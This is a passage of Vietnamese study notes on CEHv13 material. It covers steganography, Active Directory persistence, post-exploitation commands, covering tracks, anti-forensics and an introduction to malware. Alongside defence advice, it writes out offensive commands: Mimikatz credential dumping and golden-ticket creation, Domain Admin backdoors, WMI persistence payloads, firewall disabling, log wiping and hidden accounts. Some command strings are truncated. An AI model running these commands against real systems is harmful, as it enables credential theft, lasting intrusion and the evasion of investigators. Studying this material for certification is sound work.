  - **Linguistic Steganography (Giấu tin ngôn ngữ):** Bao gồm Semagrams (Giấu qua dấu hiệu hình ảnh, hoặc đổi phông chữ/khoảng trắng trong văn bản) và Open Codes (Giấu trong ngôn ngữ hợp pháp qua Jargon codes/mã lóng, hoặc Covered ciphers như Null ciphers, Grille ciphers).
    * **Các kỹ thuật giấu tin (Steganography) cụ thể:** Null ciphers: Kỹ thuật dùng để giấu thông điệp bên trong một lượng lớn dữ liệu vô dụng. Dữ liệu gốc được trộn lẫn với dữ liệu không sử dụng theo bất kỳ thứ tự nào (ngang, chéo, dọc) sao cho không ai hiểu được ngoại trừ người biết quy luật. Grille ciphers: Kỹ thuật dùng để mã hóa bản rõ bằng cách viết nó lên một tờ giấy thông qua một tấm lưới có đục lỗ (pierced/stenciled sheet) bằng bìa cứng hoặc vật liệu tương tự. Chỉ người có tấm lưới (grille) chính xác mới giải mã được.
- **Steganography dựa trên Cover Medium (Môi trường che giấu):**
  - **Image:** Phổ biến nhất, thay thế bit ít quan trọng nhất (LSB insertion), Masking & Filtering, hoặc các thuật toán biến đổi (Fast Fourier, Wavelet). (Công cụ: OpenStego, StegOnline).
    * *(Chi tiết Masking & Filtering):* Việc Masking (Che dấu) cho phép giấu dữ liệu bí mật vào các file ảnh thang độ xám (grayscale) và 24-bit. Kỹ thuật này che giấu thông điệp do sự thay đổi về độ chói là không đáng kể, khiến mắt người không phát hiện ra. Việc masking đối với ảnh JPEG (chuẩn nén lossy) tỏ ra rất hiệu quả vì chúng miễn nhiễm với các thao tác cắt xén và nén ảnh (cropping and compression).
    * *(Chi tiết Algorithms and Transformation):* Sử dụng hàm toán học để ẩn thông tin trong quá trình nén ảnh bằng cách thay đổi hệ số (coefficient) của các bit thấp nhất. Các thuật toán nén bao gồm: Chuyển đổi Fourier nhanh (Fast Fourier), Chuyển đổi cosine rời rạc (Discrete cosine - DCT dùng cho JPEG), và Chuyển đổi Wavelet.
  - **Document/Text:** Thêm khoảng trắng/tab vào cuối dòng văn bản (Whitespace steganography). (Công cụ: StegoStick, Snow).
  - **Video/Audio:** Thay đổi luồng hình ảnh/âm thanh (Echo data hiding, Spread Spectrum). (Công cụ: OmniHide Pro, DeepSound).

- **Spam/Email:** Nhúng dữ liệu bí mật vào các email rác trông có vẻ vô hại. (Công cụ: Spam Mimic).
- **Web Steganography:** Ẩn các đối tượng web đằng sau các đối tượng khác và tải chúng lên máy chủ web.
- **Natural Text Steganography:** Quá trình chuyển đổi thông tin nhạy cảm thành các đoạn hội thoại tự do do người dùng xác định (chẳng hạn như một vở kịch).
- **Hidden OS Steganography:** Quá trình ẩn một Hệ điều hành vào trong một Hệ điều hành khác.
- **C++ Source-Code Steganography:** Giấu một bộ công cụ vào bên trong các file mã nguồn C++.
- **Compressed Data Steganography:** Giấu thông tin vào các bit ít quan trọng (LSB) hoặc bit dự trữ của file nén (như ZIP, RAR, JPEG lossy, hoặc PNG lossless).

Steganalysis (Phân tích giấu tin): Quá trình phát hiện thông điệp ẩn. Các phương pháp tấn công bao gồm:

- **Stego-only:** Chỉ có tệp stego để phân tích.
- **Known-stego:** Biết thuật toán giấu tin, có tệp gốc và tệp stego.
- **Known-message:** Biết nội dung thông điệp ẩn.
- **Known-cover:** So sánh tệp stego với tệp gốc để tìm điểm khác biệt.
- **Chosen-message / Chosen-stego:** Tự tạo tệp stego từ thông điệp biết trước để tìm ra thuật toán.
- **Chi-square attack:** Phương pháp dựa trên phân tích xác suất để kiểm tra xem đối tượng stego và dữ liệu gốc có giống nhau hay không.
- **Distinguishing statistical attack:** Kẻ tấn công phân tích thuật toán được nhúng để phát hiện các thay đổi thống kê khác biệt cùng với độ dài của dữ liệu được nhúng.
- **Blind classifier attack:** Một bộ phát hiện mù (blind detector) được cung cấp dữ liệu gốc hoặc chưa sửa đổi để học cách nhận diện, sau đó đào tạo bộ phân loại để phát hiện sự khác biệt giữa stego-object và dữ liệu gốc.
- **Công cụ Steganalysis:** zsteg (phát hiện dữ liệu ẩn trong ảnh PNG/BMP), StegoVeritas, Stegextract, StegoHunt MP.

33. Duy trì Đặc quyền Tên miền (Maintaining Domain Persistence) (Trang 912 - 943)

Sau khi chiếm được Domain Controller (DC), kẻ tấn công sử dụng các kỹ thuật "Domain Dominance" (Thống trị tên miền) để đảm bảo quyền truy cập vĩnh viễn dù mật khẩu có bị thay đổi.

- **Các con đường thống trị tên miền (Domain Dominance Paths):** Kẻ tấn công có thể kiểm soát các tài sản quan trọng thông qua các kỹ thuật đa dạng bao gồm: Thực thi mã từ xa (Remote code execution), Lạm dụng DPAPI, Sao chép độc hại (Malicious replication), Tấn công Skeleton key, và Tấn công Golden/Silver ticket.
  - *Các lệnh khai thác Golden Ticket (Sử dụng Mimikatz):*
    1. Lấy thông tin SID của miền bằng lệnh `whoami`.
    2. Nâng cao đặc quyền để đánh cắp NTLM hash của KRBTGT bằng lệnh DCSync: `lsadump::dcsync /domain:<domain name> /user:krbtgt`
    3. Tạo Golden ticket bằng cách mạo danh người dùng cấp quản trị: `kerberos::golden /domain:<domain name> /sid:<SID> /rc4:<KRBTGT hash value> /id:<value> /user:<username>`
  - *Lưu ý về Silver Ticket:* Tấn công vé bạc nhắm vào việc đánh cắp thông tin xác thực của người dùng hợp pháp để tạo ra vé TGS giả. Yêu cầu xác thực PAC (Privilege Attribute Certificate) là tùy chọn trong tấn

công vé bạc. Lệnh giải nén mã băm NTLM của hệ thống AD khi đã có quyền admin cục bộ: `mimikatz "privilege::debug" "sekurlsa::logonpasswords"`.

- **Abusing Data Protection API (DPAPI):** DPAPI được OS sử dụng để bảo vệ/mã hóa khóa cá nhân, thông tin xác thực lưu web. Nếu chiếm được Master Key, kẻ tấn công có thể giải mã toàn bộ dữ liệu DPAPI bằng công cụ `mimikatz` (lệnh: `sekurlsa::dpapi` hoặc xuất backup keys qua `lsadump::backupkeys`).
- **AdminSDHolder:** Là một đối tượng trong AD bảo vệ các tài khoản đặc quyền cao. Kẻ tấn công lạm dụng quá trình SDProp để thêm một tài khoản bình thường vào danh sách ACL của AdminSDHolder với quyền "GenericAll", từ đó nhận được quyền tương đương Domain Administrator ngay cả khi bị phát hiện.
  - *Các lệnh thực thi (Abusing AdminSDHolder) (Trang 926-928):* Kẻ tấn công thêm tài khoản (VD: Martin) vào ACL bằng lệnh: `Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName Martin -Verbose -Rights All` Sau đó thêm tài khoản này vào nhóm Domain Admins: `net group "Domain Admins" Martin /add /domain`
- **Wmi-Persistence (Kịch bản WMI):** Sử dụng kịch bản PowerShell (Wmi-Persistence) để tạo đăng ký sự kiện WMI (Event Subscriptions). Cho phép chạy các payload độc hại mỗi khi hệ thống khởi động lại, log on, hoặc hẹn giờ mà không cần ghi file thực thi lên đĩa. Lệnh kiểm tra sự kiện: `Get-WmiEvent`. - *Lệnh thực thi Wmi-Persistence (Trang 930-931):* `wmic /NAMESPACE:"\textbackslash{}\textbackslash{}root\textbackslash{}su PATH __EventFilter CREATE Name="EthicalHacker", EventNameSpace="root\textbackslash{}cimv2",Quer Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"` Kích hoạt script qua PowerShell: `Install-Persistence -Trigger Startup -Payload "c:\textbackslash{}windows\textbackslash{}system32\textbackslash{}eth`

  Sử dụng PowerLurk để thiết lập Wmi-Persistence: PowerLurk là bộ công cụ PowerShell hỗ trợ xây dựng các đăng ký sự kiện WMI độc hại (như InsertUSB, UserLogon, Timed, ProcessStart). 1. Nhập tập lệnh: `Import-Module .\textbackslash{}PowerLurk.ps1` 2. Liệt kê đối tượng: `Get-WmiEvent` 3. Tạo đăng ký thực thi payload độc hại khi người dùng đăng nhập: `Register-MaliciousWmiEvent -EventName Logonlog -PermanentCommand "ethicalhacker.exe" -Trigger UserLogon -Username any`

Các biện pháp phòng thủ chống lại các cuộc tấn công duy trì quyền truy cập (How to Defend against Persistence Attacks) (Trang 943)

- Thường xuyên thay đổi mật khẩu của tài khoản KRBTGT.
- Chỉ sử dụng thông tin đăng nhập admin nếu dữ liệu cần được chia sẻ giữa các thiết bị.
- Cấp quyền truy cập dựa trên vai trò của người dùng (user roles).
- Thực hiện quản lý vá lỗi hệ thống (system patch management) định kỳ.
- Triển khai mô hình truy cập có đặc quyền tối thiểu (minimum privileges access model).
- Giám sát các vé Kerberos TGT và các hoạt động nhân bản domain (domain replication activities).
- Đổi mật khẩu KRBTGT và khởi động lại dịch vụ hai lần để loại bỏ hoàn toàn vé cũ.

34. Các lệnh Hậu khai thác (Post-Exploitation Commands) trên Windows và Linux

Sau khi xâm nhập, kẻ tấn công thực thi các lệnh để thu thập cấu hình mạng, hệ thống, tệp tin:

Trên Linux:

- `find / -perm -4000 -ls 2> /dev/null`: Khám phá các tệp nhị phân có quyền SUID (thực thi dưới quyền root).

- find / -path /sys -prune -o -type f -perm -o=w -ls 2> /dev/null: Tìm các tệp có quyền ghi toàn cầu (world-writable).
- sudo -l: Hiển thị danh sách các lệnh được phép và bị cấm chạy bằng sudo.
- ps -ef: Hiển thị các tiến trình đang chạy kèm Process ID (PID).
- mount: Gắn một hệ thống tệp vào cấu trúc cây thư mục.
- route -n: Hiển thị tên máy chủ/mạng dưới dạng số.
- /sbin/ifconfig -a: Hiển thị chi tiết cấu hình mạng.
- cat /etc/crontab và ls -la /etc/cron.d: Hiển thị các cron jobs (tác vụ lên lịch) đang chạy.
- cat /etc/exports: Hiển thị các thư mục có thể xuất cho máy khách NFS.
- cat /etc/redhat*, /etc/debian*, /etc/*release: Hiển thị chi tiết phiên bản hệ điều hành.
- ls /etc/rc*: Liệt kê các dịch vụ khởi động.
- egrep -e '/bin/(ba)?sh' /etc/passwd: Hiển thị tất cả người dùng có quyền truy cập shell.
- cat ~/.ssh/: Hiển thị chi tiết đăng nhập và cấu hình SSH.
- openssl s_client -connect <hostname>:<port> -showcerts: Hiển thị tất cả chi tiết chứng chỉ.
- keytool -list -v -keystore keystore.jks: Hiển thị nội dung tệp keystore và tên bí danh. (Trang 937-938)

Trên Windows:

- dir /a:h: Truy xuất thư mục/tệp có thuộc tính ẩn.
- findstr /E ".txt" > txt.txt: Tìm và lấy tất cả tệp văn bản.
- wmic os where Primary='TRUE' reboot: Lệnh khởi động lại Windows qua WMIC.
- sc queryex type=service state=all: Liệt kê tất cả các dịch vụ hiện có.
- psexec -i \textbackslash{}\textbackslash{}<RemoteSystem> cmd: (Lệnh Sysinternals) Thiết lập CMD tương tác với hệ thống từ xa.
- **Các lệnh liệt kê bổ sung trên Windows (Trang 939-942):**
  - **Lệnh Băm (Hash Computing):** Get-FileHash <file-name> -a md5 / sha1 (Tạo mã băm MD5/SHA1), Get-FileHash <file-name> (Mặc định trả về SHA-256).
  - **Lệnh Registry:** reg query HKEY_LOCAL_MACHINE\textbackslash{}SOFTWARE\textbackslash{}Microsoft >> ListofInstalledPrograms.txt (Liệt kê các chương trình đã cài đặt), reg query HKEY_LOCAL_MACHINE\te /v AlwaysInstallElevated > reg_always.txt (Kiểm tra đặc quyền cài đặt).
  - **Lệnh Scheduler & Tiến trình:** schtasks /query /fo LIST /v > schtasks.txt (Lấy danh sách tác vụ), tasklist /SVC > tasklist.txt (Lấy danh sách tiến trình đang hoạt động).
  - **Lệnh WMIC:** wmic service get name,displayname,pathname,startmode > wmic_service.txt (Lấy tên dịch vụ, đường dẫn, v.v.), wmic /node:"" product get name,version,vendor (Chi tiết phần mềm cài đặt), wmic cpu get, wmic useraccount get name,sid.
  - **Lệnh Mạng (Net & Network):** net config rdr (Chi tiết kết nối domain), net computer \textbackslash{}\textbackslash{}computername /add, net view, net share, route print hoặc netstat -r (Bảng định tuyến), arp -a, ipconfig /all, getmac.

- **Lệnh Dịch vụ & Tường lửa:** `sc queryex type=service state=all`, `net start` hoặc `stop`, `netsh firewall show state / config`, `netsh advfirewall set allprofiles state off` (Tắt tường lửa).

35. Xóa Dấu Vết (Covering Tracks) (Trang 952 - 994)

Đây là giai đoạn cuối cùng, kẻ tấn công xóa log và các dấu vết kỹ thuật số để tránh bị điều tra. Cấu thành từ các hành vi: Data/File Deletion, Trail Obfuscation, Artifact Wiping, Overwriting Data, v.v.

Xóa Event Logs (Nhật ký sự kiện):

- **Windows:** Kẻ tấn công có thể xóa thủ công qua Event Viewer, dùng script `.bat` (chứa các lệnh `wevtutil cl`), PowerShell (`Clear-EventLog -LogName application, system`), hoặc dùng Meterpreter (`clearev`). Công cụ dòng lệnh `wevtutil el` giúp liệt kê các log.
  - Auditpol.exe (Cấu hình Audit Logging): Công cụ dòng lệnh dùng để điều chỉnh cài đặt kiểm toán an ninh. Kẻ tấn công khi có quyền admin sẽ lập tức tắt tính năng ghi nhật ký. Lệnh bật: C:\>auditpol /set /category:"system","account logon" /success:enable /failure:enable Lệnh tắt: C:\>auditpol /set /category:"system","account logon" /success:disable /failure:disable
  - wevtutil (Xóa Event Logs thủ công): Hiển thị danh sách các event logs: >wevtutil el Xóa một event log cụ thể: >wevtutil cl (Ví dụ: wevtutil cl system)
  - Clear_Event_Viewer_Logs.bat: Một tiện ích mã lệnh batch tải từ tenforums.com để tự động dọn dẹp các bản ghi system, security, và application thông qua Command Prompt khi chạy bằng quyền Administrator.
- **Linux:** Ghi đè file lịch sử Bash bằng `cat /dev/null > ~/.bash_history && history -c && exit` hoặc dùng công cụ `shred ~/.bash_history` để băm nát file khiến không thể khôi phục. Các log hệ thống thường nằm ở `/var/log/`.
  - Xóa bộ nhớ đệm PowerShell (Clearing PowerShell History): Vô hiệu hóa việc lưu trữ lệnh (lần chạy hiện tại): Set-PSReadlineOption -HistorySaveStyle SaveNothing Xóa các lệnh đã lưu vào bộ đệm: Clear-History
  - Xóa lịch sử lệnh Linux (Linux History): Chỉ xóa lịch sử của shell hiện tại: history -c Xóa hoàn toàn lịch sử và lưu lại thay đổi: history -w

Vô hiệu hóa tính năng của Windows:

- **Disable Last Access Timestamp:** Dùng công cụ `fsutil` (`fsutil behavior set disablelastaccess 1`) để vô hiệu hóa việc cập nhật thời gian truy cập cuối cùng của tệp, tránh bị phát hiện tệp nào vừa bị đọc.
- **Disable Hibernation & Virtual Memory:** Tránh để mật khẩu dạng rõ lọt vào các file `hiberfil.sys` hoặc `pagefile.sys` (Paging file) khi RAM xả bộ nhớ xuống đĩa.
  - Vô hiệu hóa Virtual Memory (Paging File): Ngăn chặn lưu trữ mật khẩu bản rõ tạm thời. (Mở Control Panel -> System -> Advanced system settings -> Tab Advanced -> Nút Settings dưới Performance -> Tab Advanced -> Change dưới Virtual Memory -> Chọn No paging file -> Set).
- **Disable Restore Points & Prefetch/Thumbnail Cache:** Xóa điểm khôi phục, tắt SysMain (Superfetch) để không lưu lịch sử thực thi app, xóa bộ nhớ đệm hình ảnh (`thumbs.db`).
  - Vô hiệu hóa Thumbnail Cache: Ngăn chặn tiết lộ hình ảnh đã xóa qua tệp thumbs.db. (Dùng GPO gpedit.msc -> User Configuration -> Administrative Templates -> Windows Components -> File Explorer -> Bật tính năng Turn off the caching of thumbnails in hidden thumbs.db files).

  - Vô hiệu hóa Prefetch Feature: Ngăn chặn việc tạo bằng chứng về các phần mềm độc hại đã thực thi (Prefetch files). (Mở services.msc -> Tìm dịch vụ SysMain (Superfetch) -> Chuyển Startup type thành Disabled).

- **Xóa Dấu vết Trực tuyến (Clearing Online Tracks & DNS Cache) (Trang 957-961, 981-982):**
  - **Windows 11 Privacy Settings:** Tắt "Show most used apps" và "Show recently opened items in Start, Jump Lists, and File Explorer" trong mục Personalization.
  - **Registry:** Điều hướng đến `HKEY_LOCAL_MACHINE\textbackslash{}SOFTWARE\textbackslash{}Microsoft\` và xóa khóa "RecentDocs".
  - **Command Prompt:** Dùng lệnh `ipconfig /displaydns` để xem các domain đã truy cập và `ipconfig /flushdns` để xóa bộ nhớ đệm DNS.
  - **macOS:** (Xóa lịch sử Incognito) Mở Terminal và chạy lệnh `sudo killall -INFO mDNSResponder`.
  - **Các hoạt động xóa dấu vết trên trình duyệt (Browser Activities):** Kẻ tấn công thường xóa dấu vết trực tuyến bằng cách sử dụng tính năng duyệt web ẩn danh (Private browsing), xóa dữ liệu trong trình quản lý mật khẩu, xóa lịch sử thanh địa chỉ, xóa các phiên đã lưu, xóa JavaScript của người dùng, xóa dữ liệu cá nhân, xóa cookie và bộ nhớ cache khi thoát, xóa tệp tải xuống, tắt AutoComplete, và xóa danh sách sử dụng gần đây nhất (MRU - Most Recently Used).

Chỉnh sửa Thời gian & Ẩn tệp:

- **Modifying Time (Windows):** Dùng `timestomp file_name.doc -z "<Date> <time>"` hoặc PowerShell để thay đổi thời gian tạo/sửa đổi của tệp tin.
- **Hiding Artifacts (Windows/Linux/Mac):**
  - *Windows:* Dùng lệnh `attrib +h +s +r <FolderName>`. Giấu tài khoản người dùng thông qua việc thêm phím $ vào tài khoản và sửa đổi nhánh Registry `Winlogon\textbackslash{}SpecialAccounts\textbackslas`
    - **Hiding Users in Windows (Ẩn người dùng):** Kẻ tấn công có thể tạo một tài khoản người dùng ẩn trên hệ thống bằng lệnh: `net user <UserName> /add` Sau đó, khi không cần sử dụng, chúng vô hiệu hóa và ẩn tài khoản này khỏi màn hình đăng nhập bằng lệnh: `net user <UserName> /active:no` (và gõ `net user <UserName> /active:yes` để bật lại).
    - **Hiding User Accounts (Ẩn tài khoản qua Registry):** Tạo một khóa DWORD trùng với tên tài khoản tại đường dẫn `HKEY_LOCAL_MACHINE\textbackslash{}Software\textbackslash{}Microsoft\te` và đặt giá trị là `0`.
  - *Linux:* Đổi tên file/thư mục bắt đầu bằng dấu chấm (`.`) ví dụ `mv file.txt .file.txt`.
  - *macOS:* Dùng lệnh `chflags hidden <filename>`.

Xóa file vĩnh viễn (Wiping): Sử dụng tiện ích `cipher.exe` có sẵn trên Windows (`cipher /w:C:\textbackslash{}Test`) để ghi đè (overwrite) dữ liệu đã xóa bằng số 0, số 255 và số ngẫu nhiên, giúp ngăn chặn phục hồi dữ liệu.

Xóa dấu vết trên Mạng (Covering Tracks on a Network):

- **Reverse HTTP Shells:** Thay vì kết nối trực tiếp, kẻ tấn công lập trình máy nạn nhân kết nối ngược về máy chủ ngoài (Reverse shell) thông qua cổng HTTP (80/443). Lưu lượng này nhìn giống lưu lượng duyệt web bình thường nên dễ dàng vượt qua IDS/Firewall.
- **DNS Tunneling & ICMP Tunnels:** Đóng gói (encapsulate) TCP payload vào bên trong các gói DNS query/reply hoặc ICMP echo request để tuồn dữ liệu ra ngoài (exfiltrate) xuyên qua tường lửa.

- **Sử dụng các tham số TCP (Using TCP Parameters):** Kẻ tấn công có thể sử dụng các tham số TCP để phân phối payload và tạo kênh bí mật (covert channels). Các trường TCP mà dữ liệu có thể được ẩn vào bao gồm:
  * Trường nhận dạng IP (IP Identification field)
  * Số xác nhận TCP (TCP acknowledgement number)
  * Số thứ tự TCP ban đầu (TCP initial sequence number)

Kỹ thuật Chống pháp y (Anti-forensics Techniques) (Trang 988-990): Anti-forensics là một tập hợp các kỹ thuật mà kẻ tấn công sử dụng để che giấu các hoạt động độc hại, trốn tránh hệ thống phòng thủ hoặc đánh lừa các công cụ điều tra pháp y. Các kỹ thuật bao gồm:

- **Data/file deletion:** Xóa dữ liệu (bằng lệnh xóa thông thường hoặc Shift+Delete).
- **Password protection:** Mã hóa hoặc bảo vệ file bằng mật khẩu để ngăn trích xuất dữ liệu.
- **Steganography:** Giấu mã nguồn, dữ liệu vào trong các file ảnh/âm thanh.
- **Data hiding in file system structures:** Giấu dữ liệu vào các khu vực không thể truy cập như file thưa thớt (sparse file) `$BadClus`, vùng không gian trống (slack spaces), vùng HPA trên đĩa cứng.
- **Trail obfuscation:** Xóa dấu vết bằng cách làm giả log, tạo tiêu đề email giả, thay đổi thời gian (Timestomp/Transmogrify), dùng lệnh Trojan hoặc tài khoản Zombie.
- **Artifact wiping:** Phá hủy vĩnh viễn dữ liệu bằng các tiện ích xóa ổ đĩa, định dạng hoặc khử từ (degaussing) bằng công cụ như BCWipe, Total WipeOut.
- **Overwriting data/metadata:** Ghi đè nhiều lần các vị trí lưu trữ bằng ký tự ngẫu nhiên.
- **Program packers:** Sử dụng các trình nén mã hóa (như UPX, PECompact, BurnEye) để giấu file thực thi, gây khó khăn cho việc dịch ngược.
- **Minimizing footprint:** Hạn chế tối đa việc để lại dấu vết bằng cách chạy OS trên Live USB hoặc sử dụng tiền điện tử không thể truy xuất.
- **Access anonymization:** Xóa định danh truy cập thông qua máy chủ proxy, mạng Tor, hoặc các kênh giao tiếp ẩn danh.

Công cụ Xóa dấu vết (Track-Covering Tools):

- **CCleaner:** Xóa lịch sử web, cache, cookies, MRU (Most Recently Used), tệp rác.
- **Các công cụ khác:** DBAN, Privacy Eraser Free, Wipe, BleachBit, east-tec Eraser.

36. Biện pháp phòng thủ chống Xóa dấu vết (Defending against Covering Tracks) (Trang 993-994)

Để bảo vệ hệ thống trước các kỹ thuật xóa dấu vết, quản trị viên cần:

- Kích hoạt chức năng ghi log (logging) trên tất cả các hệ thống quan trọng.
- Tiến hành kiểm toán định kỳ (periodic audits) các hệ thống IT để đảm bảo chức năng ghi log tuân thủ đúng chính sách.
- Đảm bảo các sự kiện mới không ghi đè (overwrite) các mục cũ khi đạt giới hạn dung lượng lưu trữ.
- Cấu hình quyền tối thiểu cần thiết để chỉ những người có thẩm quyền mới được đọc/ghi log files.
- Duy trì một máy chủ ghi log độc lập đặt trong vùng DMZ, cấu hình các server nội bộ tự động chuyển tiếp (forward) log ra máy chủ này.

- Sử dụng mã hóa bất biến (immutable logging) để log không thể bị chỉnh sửa mà không có khóa giải mã phù hợp. Đặt log file ở chế độ “append only” (chỉ thêm vào).
- Đóng tất cả các cổng và dịch vụ không sử dụng. Sử dụng ACL hạn chế để bảo vệ file log.
- Thường xuyên sao lưu log ra phương tiện lưu trữ không thể thay đổi (unalterable media).
- Triển khai Quản lý log tập trung (Centralized log management).
- Triển khai công cụ Giám sát tính toàn vẹn tệp (FIM) để giám sát các thay đổi/xóa bỏ cấu hình.
- Sử dụng giải pháp SIEM để phân tích cảnh báo thời gian thực và IDS/IPS để giám sát lưu lượng mạng.
- Sử dụng công cụ Phân tích hành vi người dùng và thực thể (UEBA) để phát hiện các hành vi xóa dấu vết bất thường.

CEHv13 - Module 07 - Malware Threats

1. Các thành phần của phần mềm độc hại (Components of Malware) [Trang 1006 - 1007]

Các tác giả tạo ra phần mềm độc hại (malware) sử dụng các thành phần sau để đạt được mục tiêu đánh cắp thông tin, xóa dữ liệu, thay đổi cấu hình hoặc nhân bản bí mật:

- **Bộ mã hóa (Crypter):** Phần mềm giúp che giấu sự tồn tại của malware nhằm né tránh sự phát hiện của các chương trình diệt virus (antivirus). Nó bảo vệ malware khỏi các kỹ thuật dịch ngược (reverse engineering) hoặc phân tích mã.
- **Trình tải xuống (Downloader):** Một dạng Trojan chuyên tải các malware hoặc mã độc/file khác từ Internet về PC hoặc thiết bị mục tiêu. Thường được cài đặt ngay khi kẻ tấn công vừa giành được quyền truy cập ban đầu.
- **Trình thả (Dropper):** Công cụ vận chuyển ẩn của malware. Kẻ tấn công nhúng các file độc hại vào bên trong dropper để thực hiện quá trình cài đặt một cách lén lút. Dropper có thể tải và thực thi mã độc trên hệ thống mà không bị các trình quét virus phát hiện.
- **Mã khai thác (Exploit):** Phần của malware chứa mã hoặc chuỗi lệnh lợi dụng một lỗi (bug) hoặc lỗ hổng (vulnerability) trong hệ thống/thiết bị kỹ thuật số. Được phân thành khai thác cục bộ (local exploits) và khai thác từ xa (remote exploits).
- **Trình tiêm (Injector):** Chương trình này tiêm các exploit hoặc mã độc vào các tiến trình hợp pháp đang chạy trên hệ thống, đồng thời thay đổi phương thức thực thi để ẩn giấu hoặc ngăn chặn việc loại bỏ mã độc.
- **Trình xáo trộn (Obfuscator):** Chương trình che giấu mã độc của malware bằng nhiều kỹ thuật khác nhau, khiến các cơ chế bảo mật rất khó phát hiện hoặc gỡ bỏ.
- **Trình đóng gói (Packer):** Phần mềm nén file malware để chuyển đổi mã và dữ liệu thành định dạng không thể đọc được. Nó sử dụng các kỹ thuật nén (compression techniques) để đóng gói malware.
- **Tải trọng (Payload):** Phần cốt lõi của malware thực hiện hành vi mong muốn khi được kích hoạt (như xóa/sửa tệp, làm giảm hiệu suất hệ thống, mở cổng, thay đổi cài đặt).
- **Đoạn mã độc (Malicious code):** Đoạn mã xác định chức năng cơ bản của malware, bao gồm các lệnh dẫn đến vi phạm bảo mật hệ thống.

Các cách hệ thống bị nhiễm mã độc (Cách phần mềm độc hại xâm nhập) [Trang 1003]:

- **Lỗi phần mềm duyệt web và Email (Browser and Email Software Bugs):** Trình duyệt lỗi thời có thể tự động lây nhiễm máy tính khi người dùng truy cập trang web độc hại hoặc mở email (Outlook) mà không cần tải hay thực thi chương trình.
- **Quản lý bản vá không an toàn (Insecure Patch management):** Phần mềm chưa được vá tiềm ẩn rủi ro cao. Kẻ tấn công nhắm vào điểm yếu này để tiêm mã độc nhằm đánh cắp dữ liệu mật và thông tin xác thực.
- **Ứng dụng lừa đảo/mồi nhử (Rogue/Decoy Applications):** Kẻ tấn công dụ nạn nhân tải xuống các chương trình miễn phí (freeware) có vẻ hợp pháp. Những tệp này thực chất được đính kèm mã độc ẩn giấu (hoạt động như backdoor) giúp tin tặc chiếm quyền kiểm soát hệ thống.

2. Ứng dụng có thể không mong muốn (Potentially Unwanted Applications - PUAs) [Trang 1007 - 1009]

PUA (hay PUP - Potentially Unwanted Programs), còn được gọi là grayware/junkware, là các ứng dụng có thể gây hại, đe dọa nghiêm trọng đến bảo mật và quyền riêng tư. Hầu hết PUA xâm nhập khi người dùng tải freeware hoặc đồng ý với các thỏa thuận cấp phép gây hiểu lầm.

- **Adware (Phần mềm quảng cáo):** Hiển thị quảng cáo không mong muốn, pop-up cung cấp dịch vụ trực tuyến miễn phí. Thu thập cookie và thói quen duyệt web để tiếp thị. Nếu không có sự đồng ý của người dùng, nó được coi là spyware độc hại.
  - **Dấu hiệu nhận biết Phần mềm quảng cáo (Indications of Adware):**
    * **Hệ thống thường xuyên bị lag (Frequent system lag):** Nếu hệ thống mất nhiều thời gian hơn bình thường để phản hồi, có thể đã bị nhiễm adware. Nó cũng ảnh hưởng đến tốc độ bộ xử lý và tiêu thụ bộ nhớ, làm suy giảm hiệu suất.
    * **Quảng cáo tràn ngập (Inundated advertisements):** Người dùng bị ngập lụt bởi các quảng cáo và cửa sổ bật lên không mong muốn trong giao diện người dùng khi duyệt web.
    * **Hệ thống liên tục gặp sự cố (Incessant system crash):** Hệ thống của người dùng có thể liên tục gặp sự cố hoặc đóng băng, thỉnh thoảng hiển thị màn hình xanh chết chóc (BSoD).
    * **Sự khác biệt ở trang chủ trình duyệt mặc định (Disparity in the default browser homepage):** Trang chủ trình duyệt mặc định thay đổi bất ngờ và chuyển hướng đến các trang độc hại chứa malware.
    * **Xuất hiện thanh công cụ hoặc tiện ích bổ sung mới (Presence of new toolbar or browser add-ons):** Việc cài đặt thanh công cụ hoặc tiện ích bổ sung mới trên trình duyệt mà không có sự đồng ý của người dùng là một dấu hiệu của adware.
    * **Internet chậm (Slow Internet):** Adware có thể làm chậm kết nối Internet ngay cả trong quá trình sử dụng bình thường bằng cách tải xuống các quảng cáo khổng lồ và các mục không mong muốn trong nền.
    * **Lưu lượng mạng bất thường (Unusual network traffic):** Sự gia tăng mức sử dụng dữ liệu hoặc lưu lượng mạng bất thường có thể chỉ ra rằng adware đang gửi và nhận thông tin từ thiết bị của nạn nhân.
    * **Khó khăn trong việc gỡ bỏ (Difficulty in removing unwanted software):** Adware thường đi kèm với các phần mềm khác, khiến việc gỡ bỏ trở nên khó khăn.
    * **Thu thập dữ liệu trái phép (Unauthorized data collection):** Một số biến thể adware theo dõi thói quen duyệt web, truy vấn tìm kiếm và thông tin cá nhân để hiển thị quảng cáo nhắm mục tiêu.
- **Torrent-related utilities:** Các tiện ích Torrent tải tệp lớn có thể ép người dùng tải thêm các chương trình chia sẻ tệp ngang hàng (peer-to-peer) không mong muốn (Ví dụ: `µTorrent` bị Microsoft phân loại là PUA/Malware).
- **Marketing software (Phần mềm tiếp thị):** Theo dõi hoạt động trực tuyến, gửi chi tiết trình duyệt và sở thích cá nhân cho bên thứ ba để tiếp thị sản phẩm.
- **Cryptomining (Khai thác tiền mã hóa):** Lợi dụng tài nguyên phần cứng và dữ liệu của nạn nhân để đào tiền điện tử (như Bitcoin).
- **Dialers:** Phần mềm tự động quay số hoặc spyware cấu hình hệ thống để tự động gọi đến một tập hợp các danh bạ ở nhiều vị trí mà không có sự đồng ý của người dùng, gây ra hóa đơn điện thoại khổng lồ.

3. Các Mối đe dọa dai dẳng nâng cao (Advanced Persistent Threats - APT) [Trang 1011 - 1014]

Một mối đe dọa dai dẳng nâng cao (APT) là một loại tấn công mạng trong đó kẻ tấn công giành quyền truy cập trái phép vào một mạng mục tiêu và duy trì hiện diện trong một thời gian dài mà không bị phát hiện. Mục tiêu chính là lấy thông tin nhạy cảm (tài liệu mật, thông tin tài chính, sở hữu trí tuệ...) thay vì phá hoại mạng.

Đặc điểm của APT (Characteristics of APTs) [Trang 1012 - 1014]:

- **Mục tiêu (Objectives):** Liên tục lấy thông tin nhạy cảm để trục lợi tài chính hoặc làm gián điệp chính trị/chiến lược.
- **Thời gian (Timeliness):** Thời gian kẻ tấn công cần từ lúc đánh giá lỗ hổng đến khi khai thác, giành và duy trì quyền truy cập.
- **Nguồn lực (Resources):** Lượng kiến thức, công cụ và kỹ thuật cực lớn, thường được thực hiện bởi các tội phạm mạng kỹ năng rất cao.
